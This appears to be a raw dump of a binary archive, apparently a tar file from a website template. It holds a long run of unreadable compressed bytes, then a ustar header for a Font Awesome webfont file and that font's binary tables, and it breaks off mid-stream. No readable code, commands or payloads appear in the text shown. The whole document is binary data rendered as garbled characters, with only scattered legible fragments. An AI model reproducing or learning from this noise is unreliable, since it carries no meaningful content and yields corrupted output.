(noAiO@ut:)SPU6&*BvpF~[@]Ja0dTx͊ZСq0.W2v1hd-CZVA@Gñ|g;=E4'K<@|4^q	|\V1p%[#S#F#-CI̥+\),Wyy:#sQP^<E/PNyߞ?)eSb:	jwna\T]n>,JzF "穼ƹ0-h q(B?Z{)6{oݔ2WCtˋg5T8,+Oe0HUܺvRrAD6ř!D)n:nc	a=2ݫws9OYV@^XI{+#bWy+@%0.{'~{dzr/ێlL*bd_Ecfa"sص-	v$95]&,̋PLY$8>=[w<*	C~$\YY7W$Y^qF%EAWQ7{EH2C)Cu͔.w9AYȓKcd
Ị<wTPNwbԡ"~H66_0wnDKAANe9iFVg?#|ּ^2|Ś{A&X|[QhY^oG|#W*fe`-ޣ\ 6i˺.tu/^ykA/˙5nnמz]1Z[ϝomV95˅_6	e^^!MMHчVx]m$ՏKJM4F-oQC23q/T])<6.jxo/|CA^[cB2|A	{o1K{2A`OF8;' 9ƀ@bR]ʷq,Vo<*l^ܫQcT_5?$U0_9׊ f)Cץ)יP["q,6
<sZmNv..'Ԝ}9P̂$h?˃2=+.#G=wOG>#a  cd$\ـݻgyZgvbԷaz8{ț}BhA{mD.'*KOik;D #/ h;@±!+ګ-ckn.v$?:ܗb{azKޣdGkyVֶZͥ:'Zsg.O\/+i.5j>(=>v
w=7\4߈y~)qNKss~9<k{doÞ;Z荄AR4vríḾѲʀ&_>p<a\&R_qo@X"P]TU0yvvwt]U՗i<Cix=c1v79(f
Mkڄ:'ڪ
I`|y9D5nU:C+/>9UF(#eI|K!Вl036nLGe*6Ne/ˌԎŪjj՚we7r|т֔讞AZSCr
֔BInt~-#ZVvLBr"9ŗ598Vxh_d^:|xmW(~My+)#%ʂu~ޯщ*KX<g7 |`zH0ikY=2n_uXGWVҹY]/K<JTdnYJM6@rݍNbjD8| '+^jt}΁bFAGĊ̃/cD;'f{s)y'	K17Em蘷Ҕk<#ꨏSIV:	e8Z(t i@>8[4XL{J..
5|E^]sҝcC~L@!=Iuzmʐ^IU:d݌a?a2h/iy;nQo (&=X;-?vkC)fm9ҟEf^-MזJ=4o,q˒i^X\lX޳ۓ{-:V{??&*_i]Ţ@T~9{UpMXאjS雩W::@VVپ=-}_ey{Ď^gifhjrԮ0(w90{T,OT<~>ϷXVX8^tΪ/y
F&$ZLȏ!DHn˃8mL:dJ'!c\?<ƶ}@} ݁
"'||2_}W	3:}6)X.邈Iemś [:ޝrmL#hd c^o ;6a!mLS
>nN- j'9BPB"7%"J<Z)
}B	[Sgԓd%7OMmfZdQ?8k8VjW{z 
5zՄff2!]J73Cƅ2P,Mwǹ*)5H% s9ҏtITH'~icK"~X=~KH^!O q&
"^S9c*l`t122Qd@Z1N[
:H\t܆CeSSR|DXECydhp9@ <(+$̙4;.9댋)5des׷z$Uf{<&v$b)KWTR8Yj'?K^GW{o%8dwJgMz	3.7S[^n?ԣlC9XdC?5{/{/{ 2D{Duwo̧CjcT#Țy+L@w1c@]?|K9dXe,r755뼼ِ\\5A	7	[B~bs^wE)`sOrя)eަlCZ@Kgߝz/miM)|DRѿ=/|pzWPC<xu=(9m8m؊-LW.n:Z}w杠6
w$"O5t5Nց;&̢ '|^0R.T(|$pȲ!M:toTĦKMH'O|26N5k 1J-1YYsViU8ofYps*l	/Evs2J/?|ŸFb-VAcF:ll{类.KM(6MYW,3wEc©Q<
CT?l7UZ*{EipCT4c)f(1/Z,O,TeECkؖK,KH:&#H D5mrH?3QF"DЉ6ŷP>	!Uqu.fc^tX\ZZJ9 V]бو+|fq,ҏA_/儘(# :ΓkQn~C
<ϳMfɥ$<;eڤ1%iEUgq*;R1=XhW`VUr7.Y"qyW(M&qψb)cAnjIW4ytҝ1Q܃j	6W!hd77"N˴:CM\ ti1r[?Ѓo{TEzr	6k?ZQ[7/V{.=ծ"+9= KLe,`Sw9oW͡ɓl
_G׆aR0e_ǁu5X2k>[:kї/7:YÒ+W.1Ade;f4Y.H:^θ`"<HWG!uM,Z@LT7cCގ
>7%1$E5:DkP2r@5ݕ+Zf}G7R=4GObT˷
ώ#_wTaҳjt[H	-ysGdhAu.Z54N^RӲG2Qё\I>]zP=>';r?8Dx[k5j4ITU	W0*hڬFgLRgX,cA!*}%sY|{F+u]$_oIr+sźv8sR?,%_'N,8+ kħFgd/$[5'Zǡ)A{P{2dfܥC(QUg1r\;Hbbτe+lI""Ӝ.?>ikV2Yr.6ы<OF}Klc+$#˧{ɘ
6S9Ґud`*ٕX5=eou7~4-xf&|ۼc;¼,Z_ݥ&k㯩\&cwFc렮7ؔWK]}QY:HA=r/KuWT7Voi;Ս+ݖO?em+9W*3Mu=-ZR)Qv!EQa(9P+Bv{@E5*q]?vS!W㐸7g!N£IrWOԇdmbWBM!*I>t3<Zo30Xܧ ?yI=5`ռ4jM,Cy=o݉TpGXFo~Uo+ZmGz-V-;ziʁ@5~c8{nPLT{+<T4B-ܾ[@Ad/y@eA*mhɛ03N>9 3D˓ʬy*{+IfD$5w[EGeLeurH1T~ΧtWyw$vsjf2(dFg]kSz!~']:4`lyi1Yʸ7yT)IJu ^ճķ'^DvIwN{+$>|ؿzFdaObDL{̬o<5|ʐ-DIߚkyBoW+o^'^N? =8\|7rp0~IqX3
Xdyzl0Ep)KdBĔ,DKΞkm?^$fRd9M"Q%ƨѣfHç]9_RUAq}<=^F-ڋV욽Vq*ĝ/s ru!`D[Iw=)	EkvkȿgouS,`*糣:g<NϾ${֩ڗmߕ˻:7mL̝VP	Zox\b'CL}zq!=Ew
h8t[F3XcXru.$K|3b8rҋ?MzbިAԧ?k+Q=JZ;Tgr]M{C}BK&0F~~Y:P]\
BT*&,FuUy`HnnF|Klnx\.H|Im,i]&+C9DZ7+gDs>mb|{{qOuyeڬ(+7oʈz0'#2VQǗME}
LK4~I:ֲǌ5'Je9wse>{hPg,f!k土^Ɔl|wu|Ñ߬<e͛ԝ|wZ@OiP	lnsS֔L|Br%IРu֡;ER,Mj7l}-[`pɮ0ف.uI"uCC6L N-Jb;B! ~)4dndNj7s'E	o9J	n0p3;̝07*]R݇ƉC ܙ<?4?{tqbXݰem7		wvClWjm'|[d>DQx3Ckp)eC>Ԟ$2f=:Hh5ڢhFL,@:E~7BV?Q#3QA.јڬxWujTa7`N"*kKbYJD:
,T3sq%̓!LooPMZ~8_BUh2|H@mEj]<m	wFɇ|![$Q#z T֞N6		讎HNb!b'rV!Rn&>ww)rR`><\|a  	+Q۹o=b$Jhܒ"A丄uu?\hG!7˽&K>p50E*~#>ĤR>p8%q{}#pqͿfOG[pVarNv
@`HrrUHkέ|zg,tQͭNb)Y0G}ws=?1]Ο.:Xӻ$Vލځsw/@@{W,}v✥"ԸzEIIKU ŏIeP `fq4ꒀ<Et\|4:C(zm;n	ih071(XXb>y]%] -"Փ9szRi ٪Ӎ럤1!Sj3^-S`Y9 %̥ʒ>2.-}pѷ7^-R2U[KV^j]N牅a"}-| k2a^!b)-D*57hoѠJ?\ζn<oQ0^06%g>)fU*7U'M$+6_7	ԤY|jipUzǵA[.`{f"[ꨃH170u eeɲHk.a0<bGQJi%_+!}Wjۑu(GkfEsF/ryy#X5FHƮ5Ye8<1g휨}fP},-^_JϷ&}$6vƸeo0?
{d" +=*cyxyZ%=vS#C9
p"8*^Zx7S͊;s_"̯i#'+*q2Iyl%E^[Ɖ78A-4㋲.AuFEOZa;R3GF~#T]\{jgWX~<pDmEݭQGC=p$sCT"YuG?1zˠxiv5:h`亟#*,f#>3eTuu+(l:*owQʑGwE8wU՛nK- ͎KMr9]ay+2p+ҹx?_Q{(Ƕ;
-!1FR9nf!К?n
  cD$=Kn,PYgxqͩ'C 
}G%3CgQӜc$n%lcfUˌN^ޤM-'KVϚ9yezbQȵƏxTRQ5~^u9g3f {&#TuH8%2t):N#s??%?05љT*Rg)Sאy"҇SAܻ錪)qRK=WH=.(<>L},7汫ƎP s+fIX\h;sb).V Ħ,|pUYY}0ӐTzqMeRp-NS\ .]HdvidK9}dqzK5nX e5bF6ʍmC@;?{R,l=pe(FM-c<:GНn喊&RaRVz*/ҴT#H6v#I(V!QҠG߄+xm2k3zU35հ2o~Gqrv *[ՒC[~:m&$4ijB84|؍pHr+ƺQ)؂I
<Dmh	lH7IyCjAG@^rUe5ôcG#[!C"JTܻr7+LUʻ|%#NM6t?&BDo;<>gHSba-ui-l/о0\M}K?FdD{={<ԍ^Ѡ;|x݋	]94jFaf|l\Q!r53Lc6?aa5cG|-ls^8%6uO9QǟnXIx4paܽfζK~?+2yIb);(JΕFH+*1&"ɰɍPa%'of?cOOK8VzMécg֧6Y_}	om+zgT|VQ?'"xR;gO^L8;qaߘlLbL\Ww>k~[gwk:>2}ZB{W
,w&S ka@Ը?6>3n=)?{2H2,)qH`ޕ3jkTĞB?Qm$%)}bUq_cqY	-_1Ӂ)j?E=7>-96l. sx"hc[y7?N- TK79|ѰxzjgmhInHog)v~C;LJqupmW<˗=l+(lCPm-[IHHK(|LQkgª?CEBx}QN";FNUcE\k5EG
н^Jv<+DkrKCNw¹*{Ϛ>jhÉW~{|kÿ$a=g1izf҆Mm z`0X*+Gn ?J> [Std>)`zdM+9,Z', į>cu}nmĐN=z8$Rգ3c1MEKY$5
]Y<z(:ObNAE5إ,/ -DʰsU2
bC=(FsU;ˏ(.&@÷?K*ؕ1E<
|g<%u"
kCD%ʫpzE]h?*dPg\R
Dć U$F&i橇Z>^=xܠKHUNyxUqYd*ggmnL%r䰼!@Z"["(͘pfk"v$ρ9&LIQV:WIZk7TT!X52QIe(ZP
b}LLϰ:.'T/kS->lT5}Tr#e(SG:'WmP  8oVV7S*6⋫-7kI5P|-wSX-g`(TzI(jaZc^w.8g-fV]hl3.yOu2&8EAD|L|Z3ɡ2]ۑ5KqO[شܵ,Մ>k*jsέ	*Ѯ|\A[
TO=5@'z=]Z(CGEfM8GWP+qNEmF068Z:b7-Ь%{Ch1^tm,R\HTZ#x㮽`Y'}?}iou8KP1㥙夆C Z"8@x
µ-``Pj}6LlRU\6[CZN"*Y=3CȾ3ڣx~,ceG;,5R>Uw6ԼSAR7|aqu^ځ;V`ۼ<VVHɪE-3t9ɅhG;~Vn<r-˥V?%asR1>:{~۔x9:7N+m1f75dGrzZFݬ(:%P
9GaxLIrl2}>Mn?KwE/:T@Y_a^O ME^3	O\s
_^9$-Q5y'msсcvV I߇!?I$7ܡ\ód[#mH܁F&8$* pw,意hiḩt-,6 i0I^,`Ś7{~5QR<?OȊc%S(D<Cɓά*rW/<5IT,yP	4M^V˿׏e?1MBOP<qBT}6Z	|.<3pG2qZoݹp|UNbUqkw~m9`LEE@Ka}!,/p7b ]G{O1R1;čA&u³F ?m	]1ϛGg돾IYƃ#JjaZz "L(Bz~FqieU7m4/u? @H	DBL0}*X"JZFbN@FP'HfXDIVTM7Lv\(N,/ʪnڮi^m?~(N,/ʪnڮaBRic0Nnq^~?yd=#?jߴl| `pBXB+JZFbNq  $
") Pitpy|P$HerRhuzdXmvz@H	DBY`./LPNo0p?_ %R\T5Z !A1 )a9dXmvx}~	e\HuӲ]n) &q!=?8Q4ˋquۏs I(ɊiَAIEYM8˺yݟ #($E3,$+e;a'ieU7m/!m)hrYzb33SH`]AMx1A>]5j^FiT\?8E|ӕ_eoH{UĠT&L-3QWnԤuM*
ۥD+%j;bͮ' Y>(؟4w]|/JW#Ȥ Zca7B'8:{} N$8oQ|W mOnL)Q^!WCM8}:Nhۑc&4ٝqo_@xމɐ5Q+t*\]w	C!W^"ywne/R=`*5bJzMwZN	hPQ7޴-␜EgC29*XYKUk&D\4]aw-5&_kD@;I1fͫ{C[ŏY}ExdS9ɇ@~$`KPK}=wvZR
?Ph{%Zdϙ'biys-KhOü . [4/%0y]|(珫DBˀ(D뺹"cfw8NgPmzdo*Ģj6hni[}iY
LٱEf9eF8dǣOk@p#B\'Mo=)uĐEB>:6Qlo6]Z* )˸kֿ /d?6Q7Dx'ey:KCaM۽T&ufTx_WD){5PJ7A2wWqo-Cg*tej^"~4{;fo-W?*wW1{|k.QZ"
X-J/~۵dp; <W4MS/+Enش0;=N{3!Q)9]=$}޵2KPg(۫PY)k揚f,}eKfh#*3WA+xvfe++,fTr~j)	[Tn*4p]W1ǳ%f5*yW		@Y9~ËɄT5Xٳi_q# ;K(569LFQ /RLEE&RzOEK-Q}YkvqsOLcG2hn⪻ :`֥$ǘ7UѬr_JQ!wJ:6m纏h%b4	TM_3\jzFs1g.cbGd?2RY`o;2u%{^r)`+v۳7Fs=CuC{C.=Z8kVYe`Ԯ_YꓣUu@iR|:^y%}.ӀT4O.]qqZ-v.weio:f/1I|FbDXCE?{U-Nx0w6~U~}.xcf!6x>}   WAD<i3״)>|Qķ~XC}<A>6c T;k#7.{7c8T_4X;B*bm#"""*RJ)EDDDD̛?97t3Zkgсhzt&ޯw.YNˋվgH@E!6~brݴz]DDDDDDDfffffffVUUUUUUUi{z6Nd                                                                                                                                                         system/helix3/assets/fonts/fontawesome-webfont.ttf                                                  0000705                 00000503254 15242051520 0016432 0                                                                                                    ustar 00                                                                                                                                                                                                                                                              PFFTMkG    GDEF  p    OS/22z@  X   `cmap
:    gasp  h   glyfM   Lhead-      6hhea
     $hmtxEy    
loca\    maxp,  8    name㗋 gh  post k  u    ːxY_<      32    32 	                 	 	                   '            @       i   3   3  s                              pyrs @                          p    U                                 ]                              y n                       2                           @                    
                                                                           z                     Z                                @    5 5             z                                  Z  Z          @                                                                    ,  _                 @                                              s                               @         	            @                        (                                     @            @      @        -   M M -  M M                  @                                 @  @  -              `   b                 $                                       6                                         4           8       " "  "  "  "  "                  @                  D         @                   ,              ,     @                                                 	     m                        )                 @    @   	                                	                                   '                      D     9                   >                              d  Y     *     	  '	   	   	   	   	   	                                             	                                                           	                                                                                   T	      	   	   	   	   	            	         	   	      	                                                 @   	     f     	                                              %                 R           E	            	      	     $                    !  k  (                   D    '	         	         %                 	                %	                                         	                                                       0  %    /       &                                                      p @  0       !"""`>N^n~.>N^n~>N^n~          !"""` !@P`p  0@P`p !@P`p \XSB1ݬ
	                                                                                                                                                                                                                                                                                       
	                                                                                        ,   ,   ,   ,   ,   ,   ,   ,   ,   ,   ,   ,   ,         t    L    T  $    l  	x  	  
T  (      d             l  ,          4    d    p  H    $  d  ,    t  (        !  "0  #   $,  $  &D  '  (  )T  *  *  ,  ,  -  .@  .  /`  /  0  0  1  2  3d  44  4  5   5  5  6   6\  6  7H  7  8  8`  8  9L  9  :h  :  ;  <p  =p  ><  >  ?h  ?  @H  @  A0  A  BX  B  Cd  C  DL  D  E  F  G0  G  H  I  J8  K  L  Md  N,  N  N  O  P`  P  Q4  Q  R  Rl  S,  S  T`  U0  W  X  Z  [@  [  \<  \  ]  ^(  ^  _  `p  b,  b  d  d  eP  e  f  g`  g  iL  i  jD  k  k  l  m@  n,  oL  p  q  r  sx  t  t  uD  {`  |   |  }  }  ~          H          l  @            l  H       T    H        `      @      $  \  X    D        T  X      D  P  ,    8    d  \                    H    x       t    X    p     d          x  t              @            \     ļ    Ÿ  Ɣ  0    d    ʨ  ˀ      ͔  x    ϰ  Ќ  ,  ш    ҈    ӌ    8  ,  ՜  `    l  H  ش  `    T  ڸ    ۔  @    l    ބ    ߬    l  p                                       4        X    $  l    (      `               	d 
 
    ,    ,   8   (  X    x | T  @    |   ! "x # #l $ $ 'h ( *L ,T .L 1t 1 2 30 3 4 5t 6T 7$ 8 9H : : ; < < ?X @ A B C D EH FH Gp HH Ix J  J K L M N@ P@ Q R SD T  UL V` V WX X4 X Z Z [d [ \| ] ^ ` aH a b cX d et fh g h i\ jx n p@ s v w x y z {h | } } \   l t  4     t  8 8  L  T         |     |     4 x   L      X (           @   l  t   $   x L L    H     Ġ T (    ʈ ˠ   ϔ l d  P  Մ x p   ڬ T T   ވ L     < H  $  l    4          P l   ,  x  p , x t  d   4   4  , h  P 	4 
    4  < , , 4 0 8 $  8  T   | !h " $L %0 &H ' ( ) *0 * + , .$ . 0 1 2@ 2 3 4t 5$ 6 9  : : ; ; <( < =4 ? @ A C D F H` H I L L L L L L L L L L L L L L L L  p       7!!!@pp p       ]    !2#!"&463!&54>3!2+@&&&&@+$(($F#+ &4&&4& x+#       +  ".4>32".4>32467632 DhgZghDDhg-iW DhgZghDDhg-iW&@(8 2N++NdN+';2N++NdN+'3
 8      !        #"'#"$&6$ rL46$܏ooo|W%r4L&V|oooܳ%        = M  %+".'&%&'3!26<.#!";2>767>7#!"&5463!2 %3@m00m@3% @:"7..7":6]^B@B^^BB^  $΄+0110+$ (	
t1%%1+`B^^B@B^^        "'.54632>324
#L</>oP$$Po>Z$_dC+I@$$@I+     "  #"'%#"&547&547%62V??V8<8yb%	I))9I	       	 +  	%%#"'%#"&547&547%62q2ZZ2IzyV)??V8<8)>~>[
2b%	I))9I	         %#!"&54>3 72  &6  }XX}.GuLlLuG. >mmUmEEm>         / ? O _ o      54&+";2654&+";2654&+";264&#!"3!2654&+";2654&+";264&#!"3!2654&+";2654&+";2654&+";267#!"&5463!2&&&&&&&&&&&& & && & &&&&&&&&& && &&&&&&&&&&&&&^BB^^B@B^@&&&&&&&&&&&& && &&&&&&&&&& && &&&&&&&&&&&&&&B^^B@B^^        / ?  #!"&5463!2#!"&5463!2#!"&5463!2#!"&5463!2 L4 4LL4 4LL4 4LL4 4LL4 4LL4 4LL4 4LL4 4L 4LL44LL4LL44LL4LL44LL4LL44LL 	        / ? O _ o    #!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2 8((88(@(88((88(@(88((88(@(88((88(@(88((88(@(88((88(@(88((88(@(88((88(@(88((88(@(8 (88((88(88((88(88((88(88((88(88((88(88((88(88((88(88((88(88((88          / ? O _  #!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2 8((88(@(88((88(@(8 8(@(88((8 8((88(@(8 8(@(88((88(@(88((8 (88((88(88((88(88((88(88((88(88((88(88((88    y     "/&4?62	62,PP&PP,jP  n #  $"'	"/&47	&4?62	62	PP&P&&P&P&P&&P&P      # + D  ++"&=#"&=46;546;232      #"'#"$&6$  @@rK56$܏ooo|W@@rjK&V|oooܳ        0  #!"&=463!2      #"'#"$&6$  @rK56$܏ooo|W@@rjK&V|oooܳ         ) 5   $&54762>54&'.7>"&5462 zz+i *bkQнQkb* j*LhLLhLzzBm +*i JyhQQhyJ i*+ mJ4LL44LL          / ? O  %+"&=46;2%+"&546;2%+"&546;2+"&546;2+"&546;2 `r@@r@@        n   4&"2#"/+"&/&'#"'&'&547>7&/.=46?67&'&547>3267676;27632 Ԗ#H
	,/1)
~'H(C
	,/1)	$HԖԖm6%2X
%	l2k	r6
[21..9Q
$
k2k	
w3[20       / ; C g  +"&546;2+"&546;2+"&546;2!3!2>!'&'!+#!"&5#"&=463!7>3!2!2 @@ @@ @@@`0

o`^BB^`5FN(@(NF5 @@@L%%Ju		@LSyuS@%44%       f  5  #!!!"&5465	7#"'	'&/&6762546;2& &??>LL>
 X 
  &&&AJ	A	J
Wh          #  #!"&5463!2!&'&!"&5!(8((88((`x
c`(8 `((88(@(8(D9 8(           ,  #!"&=46;46;2 .  6  $$ @(r^aa@@`(_^aa    2  N   C  5.+";26#!26'.#!"3!"547>3!";26/.#!2W.@@.$SS$@9I  I6>>         % =  $4&"2$4&"2#!"&5463!2?!2"'&763!463!2!2 &4&&4&&4&&48(@(88(ч::(8@6@* & & *4&&4&&4&&4& (88(@(8888)@)'&&@      $ 0  "'&76;46;232  >& $$ `
(r^aa`		@`2(^aa         $ 0  ++"&5#"&54762  >& $$ ^
?@(r^aa`?		(^aa         #  !.'!!!%#!"&547>3!2<<<_@`&&
5@5
@&&>=(""=       '   #"'&5476.  6  $$    ! (r^aaJ	%%(_^aa     3  #!"'&?&#"3267672#"$&6$3276 &@*hQQhwI
	mʬzzk)' @&('QнQh_
	
z8zoe      $ G   !"$'"&5463!23267676;2#!"&4?&#"+"&= !2762@hk4&&&GaF*&@&ɆF*Ak4&nf&&&4BHrd@&&4rdMoe&            / ? O _ o   +"&=46;25+"&=46;25+"&=46;2#!"&=463!25#!"&=463!25#!"&=463!24&#!"3!26#!"&5463!2@@@@@@@@@@^B@B^^BB^`@@@@@@@@@@@@3@MB^^B@B^^         !54&"#!"&546;54   32@ Ԗ@8(@(88( p (8 jj(88(@(88   @   7  +"&5&5462#".#"#"&5476763232>32@@@@KjKך=}\I&:k~&26]S& H&&H5KKut,4,	& x:;*4*&        K  #+"&546;227654$ >3546;2+"&="&/&546$ <X@@Gv"DװD"vG@@X<4L41!Sk @ G<_bb_<G  kS!1zz          "'!"&5463!62 &4&&M4&&M&&M&          -  "'!"&5463!62 #"&54>4.54632 &4&&M4&UF
&""""&
F&M&&M&%/B/%      G  - I k  "'!"&5463!62 #"&54>4.54632#"&54767>4&'&'&54632#"&547>7676'&'.'&54632 &4&&M4&UF
&""""&
FU&'8JSSJ8'&&'.${{$.'&&M&&M&%/B/%7;&'66'&;4[&$[2[$&[              # / 3 7  #5#5!#5!!!!!!!#5!#5!5##!35!!!                        # ' + / 3 7 ; ?  3#3#3#3#3#3#3#3#3#3#3#3#3#3#3#3#3????  ^>>~??????~??~??^??^^?  ^??          4&"2#"'.5463!2KjKKjv%'45%5&5L45&%jKKjK@5%%%%54L5&6'      k   5   4&"2#"'.5463!2#"&'654'.#32KjKKjv%'45%5&5L45&%%'4$.%%5&55&%jKKjK@5%%%%54L5&6'45%%%54'&55&6'  
y T d t  #!"&'&74676&7>7>76&7>7>76&7>7>76&7>7>63!2#!"3!2676'3!26?6&#!"3!26?6&#!"g(sAeM,*$/!'&JP$G]
x6,&`h`"9Hv@WkNC<.
&k&
("$p"	.#u&#	%!'	pJvwEF#@@        2#"'	#"'.546763!''!0#GG$/!''!	8""8 X!	8"	"8	          <  )!!#"&=! 4&"27+#!"&=#"&546;463!232(8&4&&48(@(8qO@8((`(@Oq 8(&4&&4&@`(88(Oq (8(`( q      ! )   2"&42#!"&546;7>3!2      Ijjjj3e5 5e3gr`Ijjjj1GG1r        P  2327&7>7;"&#"4?2>54.'%3"&#"#ժ!9&WB03&K5!)V?@L'	>R>e;&L::%P>vO
'h N_":-&+#
:	'	      + a  %3 4'.#"32>54.#"7>7><5'./6$3232#"&#"+JBx)EB_I:I*CRzb3:dtB2P$$5.3bZF|\8!-T>5Fu\,,jn OrB,<!
54wJ]?tTFi;23j.p^%/2+	S:T}K4W9: #ƕdfE     :  7>7676'5.'732>7"#"&#&#"OAzj=N!}:0e%	y+tD3~U#B4#g		'2
%/!:T	bRU,7        }  %2"/&6;#"&?62+326323!2>?23&'.'.#"&"$#"#&=>764=464.'&#"&'!~:~!PP!~:~!P6,,$$%*'c2N 	
($"LA23Yl!x!*%% %% pP,T	NE	Q7^oH!+(
3	 *Ueeuwg      a   32632$?23&'.5&'&#"&"5$#"#&=>7>4&54&54>.'&#"&'2#".465!#".'&47>32!4&4>Q6,,Fa w!*'
=~Pl*	
($"LA23Yl	)!*<7@@7< <7@@7<  pP,T	MFQ747ƢHoH!+(
3	 tJHQ6wh',686,'$##$',686,'$##$          / ?  %#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2 &&&&& && & & && &&&&&&&&&f&&&&f&&&&f&&&&          / ?  %#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2 &&&&&&&& &&&&&&&&&&&&f&&&&f&&&&f&&&&          / ?  %#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2 &&&&& && && && &&&&&&&&&f&&&&f&&&&f&&&&            / ?  %#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2 &&&&&&&&&&&&&&&&&&&&f&&&&f&&&&f&&&&            / ? O _ o   %+"&=46;2+"&=46;2+"&=46;2#!"&=463!2+"&=46;2#!"&=463!2#!"&=463!2#!"&=463!2  @  @@@sssss          / ? O  #"'&47632#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2			 	@@@@	 		 	sss         / ? O   #"&54632	#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2`			 @@@@		@		sss           #"'#!"&5463!2632 'mw@www'*wwww          .   "&462!5	!"3!2654&#!"&5463!2pppp@  @^BB^^B@B^ppp@@  @ @B^^BB^^   k    %  !7'34#"3276'	!7632k[[v

6`%`$65&%[[k
`5%&&'          4&"2"&'&54    Ԗ!?H?!,,ԖԖ mF!&&!Fm,        %"  $$  ^aa`@^aa           -  4'.'&"26%   547>7>2 "KjK XQqYn	243nYqQ$!+!77!+!$5KK,ԑ	]""]ً	        9 > H  7'3 &7#!"&5463!2'&#!"3!26=4?6	!762xtt`   ^Qwww@?61B^^B@B^	@(` `\\\P`tt8`  ^Ͼww@w1^BB^^B~	@` \ \P          + Z  #!"&5463!12+"3!26=47676#"'&=# #"'.54>;547632www M8
pB^^B@B^'sw-

9*##;Noj'#ww@w"^BB^^B
	*"g`81T`PSA:'*4       / D  #!"&5463!2#"'&#!"3!26=4?632"'&4?62	62www@?61
B^^B@B^	@
BRnBBn^ww@w1
^BB^^B	@
BnnB          C   "&=!32"'&46;!"'&4762!#"&4762+!5462  4&& 4 &&4  4&& 4 &&4 4 &&4  4&& 4 &&4  4&&        6'&'+"&546;267:	&&&&	s@	
Z&&&&Z
	     +  6'&''&'+"&546;267667:	:	&&&&		s@	
:	
Z&&&&Z
	:
	  z   6'&''&47667S:	:	s@	
:4:
	    |   	&546h!!0a$           #!"&5463!2#!"&5463!2 & && && && &@&&&&&&&&          #!"&5463!2 &&&&@&&&&         &54646&5-	:	s:	
:4:
	        +  &5464646;2+"&5&5-		&&&&	:	s:	
:	
&&&&
	:
	         &54646;2+"&5-	&&&&	s:	
&&&&
	          62#!"&!"&5463!24@&&&&-:& && &        	"'&476244444     Zf   	"/&47	&4?62S44444       # /  54&#!4&+"!"3!;265!26  $$ & && && && &@^aa@& && && && &+^aa        54&#!"3!26  $$ & && &@^aa@&&&&+^aa       + 7  4/7654/&#"'&#"32?32?6  $$ }ZZZZ^aaZZZZ^aa      #  4/&"'&"327> $$ [4h4[j^aa"ZiZJ^aa      : F  %54&+";264.#"32767632;265467>$ $$  oW	5!"40K(0?i+! ":^aaXRdD4!&.uC$=1/J=^aa       . :  %54&+4&#!";#"3!2654&+";26 $$  ```^aa ^aa      / _  #"&=46;.'+"&=32+546;2>++"&=.'#"&=46;>7546;232m&&m l&&l m&&m l&&ls&%&&%&&%&&%& &&l m&&m l&&l m&&m ,&%&&%&&%&&%&        # / ;  "/"/&4?'&4?627626.  6  $$ I














͒(r^aaɒ














(_^aa           ,  	"'&4?6262.  6  $$ Z4f44fz(r^aaZ&4ff4(_^aa        	  "  4'32>&#"  $&6$  WoɒV󇥔 zzz8YW˼[?zz:zz   @5 K    #!#"'&547632!2 A4@%&&K%54'u%%&54&K&&4A5K$l$L%%%54'&&J&j&K    5K    #"/&47!"&=463!&4?632%u'43'K&&%@4AA4&&K&45&%@6%u%%K&j&%K55K&$l$K&&u#   5K@ !  #"'+"&5"/&547632K%K&56$K55K$l$K&&#76%%53'K&&%@4AA4&&K&45&%%u'     5K "  #"'&54?63246;2632K%u'45%u&&J'45%&L44L&%54'K%5%t%%$65&K%%4LL4@&%%K'      ,   "&5#"#"'.'547!3462  4&bqb>#5&4 4 & 6Uue7D#		"ǆ &        /   #!"&546262"/"/&47'&463!2
&@&&4L

r&4

r

L&&
4&&&L

rI@&

r

L4&&     s  /  "/"/&47'&463!2 #!"&546262 &4

r

L&&
&@&&4L

r@@&

r

L4&&
4&&&L

r         #  #!+"&5!"&=463!46;2!28(`8((8`(88(8((8(8 (8`(88(8((8(88(`8          #!"&=463!28(@(88((8 (88((88   z 5  '%+"&5&/&67-.?>46;2%6.@g.L44L.g@.
.@g.
L44L
.g@.g.n.4LL43.n.gg.n.34LL4͙.n.g        -     $54&+";264'&+";26/a^



^aafm
        @    J  %55!;263'&#"$4&#"32+#!"&5#"&5463!"&46327632#!2$$8~+(888(+}(`8((8`]]k==k]]8,8e8P88P8`(88(@MM        N   4&#"327>76$32 #"'.#"#"&'.54>54&'&54>7>7>32 &z&^&./+>+)>J>	Wm7'
'"''? &4&c&^|h_bml/J@L@#*#M6:D
35sҟw$	'%
'	\t          3  #!"&=463!2'.54>54''@ 1O``O1CZZ71O``O1BZZ7@@N]SHH[3`)TtbN]SHH[3^)Tt           ! 1  &'   547 $ 4&#"2654632    '&476   ==嘅}(zVl''ٌ@uhyyhu9(}VzD##D#     	  = C U  %7.547 4&#"2654632% #"'&547.'&476 !27632#76$7&'7+NWb=嘧}(zVj\i1
z,XY[6
$!%'FuJiys?_9ɍ?kyhun(}VzYF
KA؉La
02-F"@Qsp@_        ! 3  %54&+";264'&+";26#!"&'&7>2 

 #%;" ";%# <F<7
??""??$$     ll 2  #"'&'	+&/&'&?632	&'&?67>`,@L5`		
`	L`4LH``	a	5L@              # 3 7 ; ? O s  !!!!%!!!!%!!!!!!!!%!!4&+";26!!%!!!!74&+";26%#!"&546;546;2!546;232 `@ `@ @@  @@@ @  @@L44LL4^B@B^^B@B^4L  @@@@      @@  @@   M 4LL4 4L`B^^B``B^^B`L        7 q  .+"&=46;2 #"&=".'673!54632#"&=!"+"&=46;2>767>3!54632<M33K,		 j8Z4L2B4:;M33K, ?			 0N<* .)C=W]xD0N<* .)C=W]xD ?\-7H)		".=']-7H)
w		<?.>mBZxPV3!<?.>mBZxPV3!
         &   #"'&'5&6&>7>7&54>$32 dFK1A
